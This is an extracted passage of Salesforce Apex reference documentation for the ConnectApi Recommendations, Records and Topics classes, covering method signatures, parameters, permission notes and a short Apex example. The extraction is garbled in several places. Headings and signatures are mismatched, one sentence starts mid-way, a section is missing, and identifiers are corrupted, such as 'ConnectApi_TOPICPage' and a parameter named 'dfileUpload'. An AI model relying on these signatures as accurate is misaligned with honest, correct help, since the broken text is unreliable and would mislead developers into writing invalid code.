public static ConnectApi.RecommendationDefinition updateRecommendationDefinition(String communityId, String recommendationDefinitionId, ConnectApi.RecommendationDefinitionInput recommendationDefinition)

Parameters

communityId
  Type: String
  Use either the ID for a community, internal, or null.

recommendationDefinitionId
  Type: String
  ID of the recommendation definition.

recommendationDefinition
  Type: ConnectApi.RecommendationDefinitionInput
A `ConnectApi.RecommendationDefinitionInput` object containing the properties to update.

**Return Value**
Type: `ConnectApi.RecommendationDefinition`

**Usage**
Community managers (users with the "Create and Set Up Communities" or "Manage Communities" permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the "Modify All Data" permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

**updateRecommendationDefinitionPhoto**

Update a recommendation definition photo with a file that hasn’t been uploaded.

**API Version**
35.0

**Requires Chatter**
Yes

**Signature**

```
public static ConnectApi.Photo updateRecommendationDefinitionPhoto(String communityId, String recommendationDefinitionId, ConnectApi.BinaryInput fileUpload)
```

**Parameters**

- `communityId`
  Type: `String`
  Use either the ID for a community, internal, or null.

- `recommendationDefinitionId`
  Type: `String`
  ID of the recommendation definition.

- `fileUpload`
  Type: `ConnectApi.BinaryInput`
  A file to use as the photo. The content type must be usable as an image.

**Return Value**
Type: `ConnectApi.Photo`
Usage

Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId, fileId, versionNumber)

Update a recommendation definition photo with a file that’s already uploaded.

API Version

35.0

Requires Chatter

Yes

Signature

public static ConnectApi.Photo updateRecommendationDefinitionPhoto(String communityId, String recommendationDefinitionId, String fileId, Integer versionNumber)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

recommendationDefinitionId
Type: String
ID of the recommendation definition.

fileId
Type: String
ID of a file already uploaded. The file must be an image, and be smaller than 2 GB.

versionNumber
Type: Integer
Version number of the existing file. Specify either an existing version number, or null to get the latest version.

Return Value

Type: ConnectApi.Photo
the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo)

Update a recommendation definition photo with a file that’s been uploaded but requires cropping.

API Version
35.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo updateRecommendationDefinitionPhotoWithAttributes(String communityId, String recommendationDefinitionId, ConnectApi.PhotoInput photo)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

recommendationDefinitionId
Type: String
ID of the recommendation definition.

photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the file ID, version number, and cropping parameters.

Return Value
Type: ConnectApi.Photo

Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo, fileUpload)

Update a recommendation definition photo with a file that hasn’t been uploaded and requires cropping.
API Version
35.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo updateRecommendationDefinitionPhotoWithAttributes(String
communityId, String recommendationDefinitionId, ConnectApi.PhotoInput photo,
ConnectApi.BinaryInput fileUpload)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

recommendationDefinitionId
Type: String
ID of the recommendation definition.

photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the cropping parameters.

dfileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.Photo

Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

updateScheduledRecommendation(communityId, scheduledRecommendationId,
scheduledRecommendation)
Update a scheduled recommendation.

API Version
35.0
Requires Chatter
No

Signature
public static ConnectApi.ScheduledRecommendation updateScheduledRecommendation(String communityId, String scheduledRecommendationId, ConnectApi.ScheduledRecommendationInput scheduledRecommendation)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
scheduledRecommendationId
Type: String
ID of the scheduled recommendation.
scheduledRecommendation
Type: ConnectApi.ScheduledRecommendationInput
A ConnectApi.ScheduledRecommendationInput object containing the properties to update.

Return Value
Type: ConnectApi.ScheduledRecommendation

Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

Ranking scheduled recommendations example
If you have these scheduled recommendations:

<table>
<thead>
<tr>
<th>Scheduled Recommendations</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>3</td>
</tr>
</tbody>
</table>

And you include this information in the Scheduled Recommendation Input:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
</tbody>
</table>
The result is:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>3</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>4</td>
</tr>
</tbody>
</table>

**updateScheduledRecommendation(communityId, scheduledRecommendationId, rank, enabled, recommendationAudienceId)**

Update a scheduled recommendation with the specified parameters.

**API Version**

35.0

**Requires Chatter**

No

**Signature**

```java
public static ConnectApi.ScheduledRecommendation updateScheduledRecommendation(String communityId, String scheduledRecommendationId, Integer rank, Boolean enabled, String recommendationAudienceId)
```

**Parameters**

*communityId*

Type: `String`

Use either the ID for a community, `internal`, or `null`.

*scheduledRecommendationId*

Type: `String`

ID of the scheduled recommendation.

*rank*

Type: `Integer`

Relative rank of the scheduled recommendation indicated by ascending whole numbers starting with 1.

Setting the rank is comparable to an insertion into an ordered list. The scheduled recommendation is inserted into the position specified by the `rank`. The `rank` of all the scheduled recommendations after it is pushed down. See [Ranking scheduled recommendations example](#).

If the specified `rank` is larger than the size of the list, the scheduled recommendation is put at the end of the list. The `rank` of the scheduled recommendation is the size of the list, instead of the one specified.

If a `rank` is not specified, the scheduled recommendation is put at the end of the list.
**enabled**

Type: **Boolean**

Indicates whether scheduling is enabled. If true, the recommendation is enabled and appears in communities. If false, recommendations in feeds in the Salesforce1 mobile browser app aren't removed, but no new recommendations appear. In communities using the Summer '15 or later version of the Napili template, disabled recommendations no longer appear.

**recommendationAudienceId**

Type: **String**

ID of the recommendation definition that this scheduled recommendation schedules.

**Return Value**

Type: `ConnectApi.ScheduledRecommendation`

**Usage**

Community managers (users with the "Create and Set Up Communities" or "Manage Communities" permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the "Modify All Data" permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

**Ranking scheduled recommendations example**

If you have these scheduled recommendations:

<table>
<thead>
<tr>
<th>Scheduled Recommendations</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>3</td>
</tr>
</tbody>
</table>

And you include this information in the Scheduled Recommendation Input:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>

Recommendations Test Methods

The following are the test methods for Recommendations. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

IN THIS SECTION:

setTestGetRecommendationForUser(communityId, userId, action, objectId, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationForUser is called with matching parameters in a test context. You must use the method with the same parameters or the code throws an exception.

setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

setTestGetRecommendationForUser(communityId, userId, action, objectId, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationForUser is called with matching parameters in a test context. You must use the method with the same parameters or the code throws an exception.

API Version
33.0

Requires Chatter
Yes

Signature
public static Void setTestGetRecommendationForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, String objectId, ConnectApi.RecommendationCollection result)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for the context user or the keyword `me`.

**action**
Type: `ConnectApi.RecommendationActionType`
Specifies the action to take on a recommendation.
- **follow**—Follow a file, record, or user.
- **join**—Join a group.
- **view**—View a file, group, record, user, custom, or static recommendation.

**objectId**
Type: `String`
Specifies the object to take action on.
- If **action** is **follow**, **objectId** is a user ID, file ID, or record ID.
- If **action** is **join**, **objectId** is a group ID.
- If **action** is **view**, **objectId** is a user ID, file ID, group ID, record ID, custom recommendation ID, or the enum `Today` for static recommendations.

**result**
Type: `ConnectApi.RecommendationCollection`
The object containing test data.

**Return Value**
Type: `Void`

SEE ALSO:
- `getRecommendationForUser(communityId, userId, action, objectId)`
- Testing ConnectApi Code

**setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults, result)**
Registers a `ConnectApi.RecommendationCollection` object to be returned when `getRecommendationsForUser` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

**API Version**
33.0

**Requires Chatter**
Yes

**Signature**
```java
public static Void setTestGetRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer maxResults, ConnectApi.RecommendationCollection result)
```
Parameters

`communityId`
Type: `String`
Use either the ID for a community, internal, or `null`.

`userId`
Type: `String`
The ID for the context user or the keyword `me`.

`contextAction`
Type: `ConnectApi.RecommendationActionType`
Action that the context user just performed. Supported values are:
- `follow`
- `view`

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify `null`.

`contextObjectId`
Type: `String`
ID of the object that the context user just performed an action on.
- If `contextAction` is `follow`, `contextObjectId` is a user ID, file ID, or record ID.
- If `contextAction` is `view`, `contextObjectId` is a user ID, file ID, group ID, or record ID.

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify `null`.

`maxResults`
Type: `Integer`
Maximum number of recommendation results; default is 10. Value must be greater than 0.

`result`
Type: `ConnectApi.RecommendationCollection`
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- `getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults)`
- Testing ConnectApi Code

`setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults, result)`

Registers a `ConnectApi.RecommendationCollection` object to be returned when `getRecommendationsForUser` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version

33.0

Requires Chatter

Yes

Signature

```java
public static Void setTestGetRecommendationsForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, ConnectApi.RecommendationActionType
contextAction, String contextObjectId, Integer maxResults,
ConnectApi.RecommendationCollection result)
```

Parameters

- **communityId**
  - Type: `String`
  - Use either the ID for a community, internal, or `null`.

- **userId**
  - Type: `String`
  - The ID for the context user or the keyword `me`.

- **action**
  - Type: `ConnectApi.RecommendationActionType`
  - Specifies the action to take on a recommendation.
    - `follow`—Follow a file, record, or user.
    - `join`—Join a group.
    - `view`—View a file, group, record, user, custom, or static recommendation.

- **contextAction**
  - Type: `ConnectApi.RecommendationActionType`
  - Action that the context user just performed. Supported values are:
    - `follow`
    - `view`
  - Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed.
  - If you don't want recommendations based on a recent action, specify `null`.

- **contextObjectId**
  - Type: `String`
  - ID of the object that the context user just performed an action on.
    - If `contextAction` is `follow`, `contextObjectId` is a user ID, file ID, or record ID.
    - If `contextAction` is `view`, `contextObjectId` is a user ID, file ID, group ID, or record ID.
  - Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed.
  - If you don't want recommendations based on a recent action, specify `null`. 
**maxResults**
Type: `Integer`
Maximum number of recommendation results; default is 10. Value must be greater than 0.

**result**
Type: `ConnectApi.RecommendationCollection`
The object containing test data.

**Return Value**
Type: Void

SEE ALSO:
- `getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults)`
  - Testing ConnectApi Code

**setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults, result)**
Registers a `ConnectApi.RecommendationCollection` object to be returned when `getRecommendationsForUser` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

**API Version**
33.0

**Requires Chatter**
Yes

**Signature**
```java
public static Void setTestGetRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, String objectCategory, ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer maxResults, ConnectApi.RecommendationCollection result)
```

**Parameters**

**communityId**
Type: `String`
Use either the ID for a community, `internal`, or `null`.

**userId**
Type: `String`
The ID for the context user or the keyword `me`.

**action**
Type: `ConnectApi.RecommendationActionType`
Specifies the action to take on a recommendation.

- **follow**—Follow a file, record, or user.
- **join**—Join a group.
- **view**—View a file, group, record, user, custom, or static recommendation.

### objectCategory

**Type:** String

- If **action** is **follow**, **objectCategory** is users, files, or records.
- If **action** is **join**, **objectCategory** is groups.
- If **action** is **view**, **objectCategory** is users, files, groups, records, custom, or apps.

You can also specify a key prefix, the first three characters of the object ID, as the **objectCategory**. Valid values are:

- If **action** is **follow**, **objectCategory** is 005 (users), 069 (files), or 001 (accounts), for example.
- If **action** is **join**, **objectCategory** is 0F9 (groups).
- If **action** is **view**, **objectCategory** is 005 (users), 069 (files), 0F9 (groups), 0RD (custom recommendations), T (static recommendations), or 001 (accounts), for example.

### contextAction

**Type:** ConnectApi.RecommendationActionType

Action that the context user just performed. Supported values are:

- **follow**
- **view**

Use **contextAction** and **contextObjectId** together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify **null**.

### contextObjectId

**Type:** String

ID of the object that the context user just performed an action on.

- If **contextAction** is **follow**, **contextObjectId** is a user ID, file ID, or record ID.
- If **contextAction** is **view**, **contextObjectId** is a user ID, file ID, group ID, or record ID.

Use **contextAction** and **contextObjectId** together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify **null**.

### maxResults

**Type:** Integer

Maximum number of recommendation results; default is 10. Value must be greater than 0.

### result

**Type:** ConnectApi.RecommendationCollection

The object containing test data.
Return Value
Type: Void

SEE ALSO:
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults)
Testing ConnectApi Code

Records Class
Access information about record motifs, which are small icons used to distinguish record types in the Salesforce UI.

Namespace
ConnectApi

Records Methods
The following are methods for Records. All methods are static.

IN THIS SECTION:
getMotif(communityId, idOrPrefix)
Returns a Motif object that contains the URLs for a set of small, medium, and large motif icons for the specified record. It can also contain a base color for the record.
getMotifBatch(communityId, idOrPrefixList)
Gets a motif for the specified list of objects. Returns a list of BatchResult objects containing ConnectApi.Motif objects. Returns errors embedded in the results for those users that couldn’t be loaded.

getMotif(communityId, idOrPrefix)
Returns a Motif object that contains the URLs for a set of small, medium, and large motif icons for the specified record. It can also contain a base color for the record.

API Version
28.0

Requires Chatter
No

Signature
public static ConnectApi.Motif getMotif(String communityId, String idOrPrefix)
Parameters

- **communityId**
  - Type: **String**
  - Use either the ID for a community, internal, or null.

- **idOrPrefix**
  - Type: **String**
  - An ID or key prefix.

Return Value

Type: **ConnectApi.Motif**

Usage

Each Salesforce record type has its own set of motif icons. See **ConnectApi.Motif**.

getMotifBatch(communityId, idOrPrefixList)

Gets a motif for the specified list of objects. Returns a list of **BatchResult** objects containing **ConnectApi.Motif** objects. Returns errors embedded in the results for those users that couldn’t be loaded.

API Version

31.0

Requires Chatter

No

Signature

```java
public static ConnectApi.BatchResult[] getMotifBatch(String communityId, List<String> idOrPrefixList)
```

Parameters

- **communityId**
  - Type: **String**
  - Use either the ID for a community, internal, or null.

- **idOrPrefixList**
  - Type: **List<String>**
  - A list of object IDs or prefixes.

Return Value

Type: **BatchResult[]**

The **BatchResult.getResults()** method returns a **ConnectApi.Motif** object.
Example

```java
String communityId = null;

// Create a list of records.
ConnectApi.RecordSummaryList recordList = ConnectApi.RecordDetails.getRecentRecords(communityId, 'me');

// Create a list of record IDs.
List<String> recordIds = new List<String>();
for (ConnectApi.ActorWithId record : recordList.records){
    recordIds.add(record.id);
}

// Get info about the motifs of all records in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.Records.getMotifBatch(communityId, recordIds);
for (ConnectApi.BatchResult batchResult : batchResults) {
    if (batchResult.isSuccess()) {
        // Operation was successful.
        // Print the color of each motif.
        ConnectApi.Motif motif;
        if(batchResult.getResult() instanceof ConnectApi.Motif) {
            motif = (ConnectApi.Motif) batchResult.getResult();
        }
        System.debug('SUCCESS');
        System.debug(motif.color);
    } else {
        // Operation failed. Print errors.
        System.debug('FAILURE');
        System.debug(batchResult.getErrorMessage());
    }
}
```

Topics Class

Access information about topics, such as their descriptions, the number of people talking about them, related topics, and information about groups contributing to the topic. Update a topic's name or description, merge topics, and add and remove topics from records and feed items.

Namespace

ConnectApi

Topics Methods

The following are methods for Topics. All methods are static.
IN THIS SECTION:

assignTopic(communityId, recordId, topicId)
Assigns the specified topic to the specified record or feed item. Only users with the “Assign Topics” permission can add existing topics to records or feed items. Administrators must enable topics for objects before users can add topics to records of that object type.

assignTopicByName(communityId, recordId, topicName)
Assigns the specified topic to the specified record or feed item. Only users with the “Assign Topics” permission can add existing topics to records or feed items. Only users with the “Create Topics” permission can add new topics to records or feed items. Administrators must enable topics for objects before users can add topics to records of that object type.

deleteTopic(communityId, topicId)
Deletes the specified topic. Only users with the “Delete Topics” or “Modify All Data” permission can delete topics.

getGroupsRecentlyTalkingAboutTopic(communityId, topicId)
Returns information about the five groups that most recently contributed to the specified topic.

getRecentlyTalkingAboutTopicsForGroup(communityId, groupId)
Returns up to five topics most recently used in the specified group.

getRecentlyTalkingAboutTopicsForUser(communityId, userId)
Topics recently used by the specified user. Get up to five topics most recently used by the specified user.

getRelatedTopics(communityId, topicId)
List of five topics most closely related to the specified topic.

getTopic(communityId, topicId)
Returns information about the specified topic.

getTopics(communityId, recordId)
Returns the first page of topics assigned to the specified record or feed item. Administrators must enable topics for objects before users can add topics to records of that object type.

getTopics(communityId)
Returns the first page of topics for the organization.

getTopics(communityId, sortParam)
Returns the first page of topics for the organization in the specified order.

getTopics(communityId, pageParam, pageSize)
Returns the topics for the specified page.

getTopics(communityId, pageParam, pageSize, sortParam)
Returns the topics for the specified page in the specified order.

getTopics(communityId, q, sortParam)
Returns the topics that match the specified search criteria in the specified order.

getTopics(communityId, q, pageParam, pageSize)
Returns the topics that match the specified search criteria for the specified page.

getTopics(communityId, q, pageParam, pageSize, sortParam)
Returns the topics that match the specified search criteria for the specified page in the specified order.

getTopics(communityId, q, exactMatch)
Returns the topic that matches the exact, case-insensitive name.
getTopicsOrFallBackToRenamedTopics(communityId, q, exactMatch, fallBackToRenamedTopics)
If there isn't an exact match, returns the most recent renamed topic match.

getTopicSuggestions(communityId, recordId, maxResults)
Returns suggested topics for the specified record or feed item. Administrators must enable topics for objects before users can see suggested topics for records of that object type.

getTopicSuggestions(communityId, recordId)
Returns suggested topics for the specified record or feed item. Administrators must enable topics for objects before users can see suggested topics for records of that object type.

getTopicSuggestionsForText(communityId, text, maxResults)
Returns suggested topics for the specified string of text.

getTopicSuggestionsForText(communityId, text)
Returns suggested topics for the specified string of text.

getTrendingTopics(communityId)
List of the top five trending topics for the organization.

getTrendingTopics(communityId, maxResults)
List of the top five trending topics for the organization.

mergeTopics(communityId, topicId, idsToMerge)
Merges up to five topics with the specified topic.

reassignTopicsByName(communityId, recordId, topicNames)
Reassigns all the topics on a record or feed item, that is, removes all the assigned topics on a record or feed item and adds topics. Only users with the “Assign Topics” permission can remove topics from records or feed items and add existing topics to records or feed items. Only users with the “Create Topics” permission can add new topics to records or feed items. Administrators must enable topics for objects before users can add topics to records of that object type.

unassignTopic(communityId, recordId, topicId)
Removes the specified topic from the specified record or feed item. Only users with the “Assign Topics” permission can remove topics from feed items or records. Administrators must enable topics for objects before users can add topics to records of that object type.

updateTopic(communityId, topicId, topic)
Updates the description or name of the specified topic or merges up to five topics with the specified topic.

assignTopic(communityId, recordId, topicId)
Assigns the specified topic to the specified record or feed item. Only users with the “Assign Topics” permission can add existing topics to records or feed items. Administrators must enable topics for objects before users can add topics to records of that object type.

API Version
29.0

Requires Chatter
No
Signature

```java
public static ConnectApi.Topic assignTopic(String communityId, String recordId, String topicId)
```

Parameters

- **communityId**
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- **recordId**
  - Type: `String`
  - The ID for a record or feed item.

- **topicId**
  - Type: `String`
  - The ID for a topic.

Return Value

Type: `ConnectApi.Topic`

**assignTopicByName(communityId, recordId, topicName)**

Assigns the specified topic to the specified record or feed item. Only users with the “Assign Topics” permission can add existing topics to records or feed items. Only users with the “Create Topics” permission can add new topics to records or feed items. Administrators must enable topics for objects before users can add topics to records of that object type.

API Version

29.0

Requires Chatter

No

Signature

```java
public static ConnectApi.Topic assignTopicByName(String communityId, String recordId, String topicName)
```

Parameters

- **communityId**
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- **recordId**
  - Type: `String`
  - The ID of the record or feed item to which to assign the topic.
topicName
  Type: String
  The name of a new or existing topic.

Return Value
Type: ConnectApi.Topic

deleteTopic(communityId, topicId)
Deletes the specified topic. Only users with the “Delete Topics” or “Modify All Data” permission can delete topics.

API Version
29.0

Requires Chatter
No

Signature
public static Void deleteTopic(String communityId, String topicId)

Parameters
communityId
  Type: String,
  Use either the ID for a community, internal, or null.
topicId
  Type: String
  The ID for a topic.

Return Value
Type: Void

Usage
Topic deletion is asynchronous. If a topic is requested before the deletion completes, the response is 200: Successful and the isBeingDeleted property of ConnectApi.Topic is true in version 33.0 and later. If a topic is requested after the deletion completes, the response is 404: NOT_FOUND.

getGroupsRecentlyTalkingAboutTopic(communityId, topicId)
Returns information about the five groups that most recently contributed to the specified topic.
API Version
29.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroupSummaryPage
getGroupsRecentlyTalkingAboutTopic(String communityId, String topicId)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

topicId
Type: String
The ID for a topic.

Return Value
Type: ConnectApi.ChatterGroupSummaryPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetGroupsRecentlyTalkingAboutTopic(communityId, topicId, result)
Testing ConnectApi Code

getRecentlyTalkingAboutTopicsForGroup(communityId, groupId)
Returns up to five topics most recently used in the specified group.

API Version
29.0
Available to Guest Users
32.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.TopicPage getRecentlyTalkingAboutTopicsForGroup(String communityId, String groupId)
```

Parameters

- `communityId`
  - Type: String
  - Use either the ID for a community, `internal`, or `null`.  

- `groupId`
  - Type: String
  - The ID for a group.

Return Value

Type: `ConnectApi.TopicPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetRecentlyTalkingAboutTopicsForGroup(communityId, groupId, result)`
- Testing ConnectApi Code

`getRecentlyTalkingAboutTopicsForUser(communityId, userId)`

Topics recently used by the specified user. Get up to five topics most recently used by the specified user.

API Version

29.0

Available to Guest Users

32.0
Requires Chatter
Yes

Signature
public static ConnectApi.TopicPage getRecentlyTalkingAboutTopicsForUser(String communityId, String userId)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for a user.

Return Value
Type: ConnectApi.TopicPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetRecentlyTalkingAboutTopicsForUser(communityId, userId, result)
Testing ConnectApi Code

getRelatedTopics(communityId, topicId)
List of five topics most closely related to the specified topic.
Two topics that are assigned to the same feed item at least three times are related.

API Version
29.0

Available to Guest Users
32.0

Requires Chatter
No
getRelatedTopics(String communityId, String topicId)

**Parameters**

- **communityId**
  - Type: String
  - Use either the ID for a community, internal, or null.

- **topicId**
  - Type: String
  - The ID for a topic.

**Return Value**

Type: ConnectApi.TopicPage

**Usage**

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

setTestGetRelatedTopics(communityId, topicId, result)

Requires Chatter

No

Signature

public static ConnectApi.TopicPage getTopics(String communityId, Integer pageParam, Integer pageSize)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.TopicPage

getTopics(communityId, pageParam, pageSize, sortParam)
Returns the topics for the specified page in the specified order.

API Version
29.0

Available to Guest Users
32.0

No

Signature
public static ConnectApi.TopicPage getTopics(String communityId, String q, Integer pageParam, Integer pageSize)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

q
Type: String
Specifies the string to search. The string must contain at least two characters, not including wildcards.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.TopicPage

getTopics(communityId, q, pageParam, pageSize, sortParam)
Returns the topics that match the specified search criteria for the specified page in the specified order.

API Version
29.0

Available to Guest Users
32.0

Requires Chatter
No
Signature

```java
public static ConnectApi.TopicPage getTopics(String communityId, String q, Integer pageParam, Integer pageSize, ConnectApi.TopicSort sortParam)
```

Parameters

- **communityId**
  - Type: String
  - Use either the ID for a community, internal, or null.

- **q**
  - Type: String
  - Specifies the string to search. The string must contain at least two characters, not including wildcards.

- **pageParam**
  - Type: Integer
  - Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

- **pageSize**
  - Type: Integer
  - Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

- **sortParam**
  - Type: ConnectApi.TopicSort
  - Values are:
    - popularDesc—Sorts topics by popularity with the most popular first. This value is the default.
    - alphaAsc—Sorts topics alphabetically.

Return Value

- Type: ConnectApi.TopicPage

```java
getTopics(communityId, q, exactMatch)
```

Returns the topic that matches the exact, case-insensitive name.

API Version

33.0

Available to Guest Users

33.0

Requires Chatter

No
Signature

```java
public static ConnectApi.TopicPage getTopics(String communityId, String q, Boolean exactMatch)
```

Parameters

- **communityId**
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- **q**
  - Type: `String`
  - Specifies the string to search. The string must contain at least two characters, not including wildcards.

- **exactMatch**
  - Type: `Boolean`
  - Specify `true` to find a topic by its exact, case-insensitive name.

Return Value

Type: `ConnectApi.TopicPage`

```java
getTopicsOrFallBackToRenamedTopics(String communityId, String q, Boolean exactMatch, Boolean fallBackToRenamedTopics)
```

If there isn't an exact match, returns the most recent renamed topic match.

API Version

35.0

Available to Guest Users

35.0

Requires Chatter

No

Signature

```java
public static ConnectApi_TOPICPage getTopicsOrFallBackToRenamedTopics(String communityId, String q, Boolean exactMatch, Boolean fallBackToRenamedTopics)
```

Parameters

- **communityId**
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.
q
  Type: String
  Specifies the string to search. The string must contain at least two characters, not including wildcards.

exactMatch
  Type: Boolean
  Specify true to find a topic by its exact, case-insensitive name or to find the most recent renamed topic match if there isn’t an exact match.

fallBackToRenamedTopics
  Type: Boolean
  Specify true and if there isn’t an exact match, the most recent renamed topic match is returned. If there are multiple renamed topic matches, only the most recent is returned. If there are no renamed topic matches, an empty collection is returned.

Return Value
Type: ConnectApi.TopicPage

getTopicSuggestions(communityId, recordId, maxResults)
Returns suggested topics for the specified record or feed item. Administrators must enable topics for objects before users can see suggested topics for records of that object type.

API Version
29.0

Requires Chatter
No

Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestions(String communityId, String recordId, Integer maxResults)

Parameters
communityId
  Type: String
  Use either the ID for a community, internal, or null.

recordId
  Type: String
  The ID for a record or feed item.

maxResults
  Type: Integer
  Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to 25.
Return Value
Type: ConnectApi.TopicSuggestionPage

Usage
